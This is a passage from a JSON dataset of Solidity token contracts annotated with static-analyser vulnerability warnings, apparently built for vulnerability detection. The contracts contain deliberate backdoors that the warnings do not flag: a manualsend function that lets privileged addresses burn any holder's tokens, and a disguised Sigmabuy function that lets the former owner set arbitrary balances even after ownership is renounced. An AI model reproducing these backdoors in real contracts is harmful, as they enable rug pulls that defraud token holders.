(uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 303e7d1): ca.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 303e7d1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3f250da): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3f250da: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2fdce19): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2fdce19: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3f250da\n\t\t// reentrancy-benign | ID: 2fdce19\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3f250da\n\t\t// reentrancy-benign | ID: 2fdce19\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n\n uint256 currentRate = _getRate();\n\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 10de202\n _previousredisFee = _redisFee;\n\n\t\t// reentrancy-benign | ID: 10de202\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 10de202\n _redisFee = 0;\n\n\t\t// reentrancy-benign | ID: 10de202\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 10de202\n _redisFee = _previousredisFee;\n\n\t\t// reentrancy-benign | ID: 10de202\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 880022d): ca._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 880022d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2fdce19\n\t\t// reentrancy-benign | ID: 694674b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9ba01a4\n\t\t// reentrancy-events | ID: 3f250da\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e4d6cf8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e4d6cf8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 10de202): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 10de202: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f4a1aed): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f4a1aed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n require(\n tradingOpen,\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount &&\n amount >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {\n\t\t\t\t// reentrancy-events | ID: e4d6cf8\n\t\t\t\t// reentrancy-benign | ID: 10de202\n\t\t\t\t// reentrancy-eth | ID: f4a1aed\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e4d6cf8\n\t\t\t\t\t// reentrancy-eth | ID: f4a1aed\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 10de202\n _redisFee = _redisFeeOnBuy;\n\n\t\t\t\t// reentrancy-benign | ID: 10de202\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 10de202\n _redisFee = _redisFeeOnSell;\n\n\t\t\t\t// reentrancy-benign | ID: 10de202\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: e4d6cf8\n\t\t// reentrancy-benign | ID: 10de202\n\t\t// reentrancy-eth | ID: f4a1aed\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3f250da\n\t\t// reentrancy-events | ID: e4d6cf8\n\t\t// reentrancy-benign | ID: 10de202\n\t\t// reentrancy-benign | ID: 2fdce19\n\t\t// reentrancy-eth | ID: f4a1aed\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b978dee): ca.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _marketingAddress.transfer(amount)\n\t// Recommendation for b978dee: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3f250da\n\t\t// reentrancy-events | ID: e4d6cf8\n\t\t// reentrancy-eth | ID: f4a1aed\n\t\t// arbitrary-send-eth | ID: b978dee\n if (amount > 0) _marketingAddress.transfer(amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 95d1df5): ca.manualswap(address).to lacks a zerocheck on \t _marketingAddress = address(to)\n\t// Recommendation for 95d1df5: Check that the address is not zero.\n function manualswap(address to) external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n\t\t// missing-zero-check | ID: 95d1df5\n _marketingAddress = payable(to);\n _isExcludedFromFee[_marketingAddress] = true;\n }\n\n function manualsend(address to, uint256 amount) external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n _tokenTransfer(to, address(0xdead), amount, false);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n _transferStandard(sender, recipient, amount);\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t// reentrancy-eth | ID: f4a1aed\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\n\t\t// reentrancy-eth | ID: f4a1aed\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n\n _takeTeam(tTeam);\n\n _reflectFee(rFee, tFee);\n\n\t\t// reentrancy-events | ID: e4d6cf8\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n\t\t// reentrancy-eth | ID: f4a1aed\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: f4a1aed\n _rTotal = _rTotal.sub(rFee);\n\n\t\t// reentrancy-benign | ID: 10de202\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n\n uint256 currentRate = _getRate();\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n\n uint256 rFee = tFee.mul(currentRate);\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 02e80fa): ca.setFee(uint256,uint256,uint256,uint256) should emit an event for _redisFeeOnBuy = redisFeeOnBuy _redisFeeOnSell = redisFeeOnSell _taxFeeOnBuy = taxFeeOnBuy _taxFeeOnSell = taxFeeOnSell \n\t// Recommendation for 02e80fa: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: afb4027): ca.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(taxFeeOnSell >= 0 && taxFeeOnSell <= 30,Sell tax must be between 0% and 30%)\n\t// Recommendation for afb4027: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 5af9a6f): ca.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(redisFeeOnSell >= 0 && redisFeeOnSell <= 2,Sell rewards must be between 0% and 4%)\n\t// Recommendation for 5af9a6f: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 4f51c4e): ca.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2,Buy rewards must be between 0% and 4%)\n\t// Recommendation for 4f51c4e: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: a931597): ca.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 30,Buy tax must be between 0% and 30%)\n\t// Recommendation for a931597: Fix the incorrect comparison by changing the value type or the comparison.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// tautology | ID: 4f51c4e\n require(\n redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2,\n \"Buy rewards must be between 0% and 4%\"\n );\n\n\t\t// tautology | ID: a931597\n require(\n taxFeeOnBuy >= 0 && taxFeeOnBuy <= 30,\n \"Buy tax must be between 0% and 30%\"\n );\n\n\t\t// tautology | ID: 5af9a6f\n require(\n redisFeeOnSell >= 0 && redisFeeOnSell <= 2,\n \"Sell rewards must be between 0% and 4%\"\n );\n\n\t\t// tautology | ID: afb4027\n require(\n taxFeeOnSell >= 0 && taxFeeOnSell <= 30,\n \"Sell tax must be between 0% and 30%\"\n );\n\n\t\t// events-maths | ID: 02e80fa\n _redisFeeOnBuy = redisFeeOnBuy;\n\n\t\t// events-maths | ID: 02e80fa\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: 02e80fa\n _taxFeeOnBuy = taxFeeOnBuy;\n\n\t\t// events-maths | ID: 02e80fa\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d082f27): ca.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for d082f27: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: d082f27\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function removeLimit() public onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n }\n}\n",
"file_name": "solidity_code_1054.sol",
"size_bytes": 25500,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_thm(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Sigmabuy(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSendere = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSendere == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract SSR is ERC20 {\n uint256 private constant TOAL_SUPYTKENS = 1000_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 5c3795f): SSR.DEAD shadows ERC20.DEAD\n\t// Recommendation for 5c3795f: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 9080b77): SSR.ZERO shadows ERC20.ZERO\n\t// Recommendation for 9080b77: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3cfbe0d): SSR.maxTxAaddress should be immutable \n\t// Recommendation for 3cfbe0d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAaddress;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d1324ae): SSR.max_adress should be immutable \n\t// Recommendation for d1324ae: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public max_adress;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4960b17): SSR._burnetkss should be constant \n\t// Recommendation for 4960b17: Add the 'constant' attribute to state variables that never change.\n uint256 _burnetkss = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9af693e): SSR.uniswapV2Router should be immutable \n\t// Recommendation for 9af693e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"Strategic Solana Reserve\", unicode\"SSR\", TOAL_SUPYTKENS) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n max_adress = TOAL_SUPYTKENS / 40;\n\n maxTxAaddress = TOAL_SUPYTKENS / 40;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnetkss) / 100;\n\n super._transfer_thm(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAaddress, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= max_adress,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10540.sol",
"size_bytes": 18863,
"vulnerability": 4
} |
{
